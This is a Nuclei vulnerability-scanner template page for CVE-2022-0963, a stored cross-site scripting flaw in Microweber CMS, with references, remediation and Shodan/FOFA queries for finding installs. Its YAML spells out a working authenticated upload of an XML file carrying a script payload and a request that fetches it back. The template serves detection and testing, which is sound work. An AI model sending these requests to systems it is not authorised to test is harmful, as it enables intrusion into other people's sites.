Microweber <1.2.12 - Stored Cross-Site Scripting

ID: CVE-2022-0963

Severity: medium

Author: amit-jd

Tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive

Description

Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.

YAML Source

id: CVE-2022-0963

info:
  name: Microweber <1.2.12 - Stored Cross-Site Scripting
  author: amit-jd
  severity: medium
  description: |
    Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
  remediation: |
    Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
    - https://github.com/advisories/GHSA-q3x2-jvp3-wj78
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0963
    - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0963
    cwe-id: CWE-79
    epss-score: 0.00144
    epss-percentile: 0.50194
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /plupload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
        Referer: {{BaseURL}}admin/view:modules/load_module:files

        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="name"

        {{randstr}}.xml
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunk"

        0
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunks"

        1
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="file"; filename="blob"
        Content-Type: application/octet-stream

        <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
        -----------------------------59866212126262636974202255034--
      - |
        GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"alert(document.domain)")'
          - 'status_code_3==200'
          - 'contains(body_2,"bytes_uploaded")'
        condition: and
# digest: 490a0046304402200e652c7f9cd19fba6320212c643dd0c2216a21dbc8e79dc6c82850a173da55f902202cf132297886750b13ddf43054412181bf8706d5378be47664a8284b7a63f17e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0963.yaml"

View on Github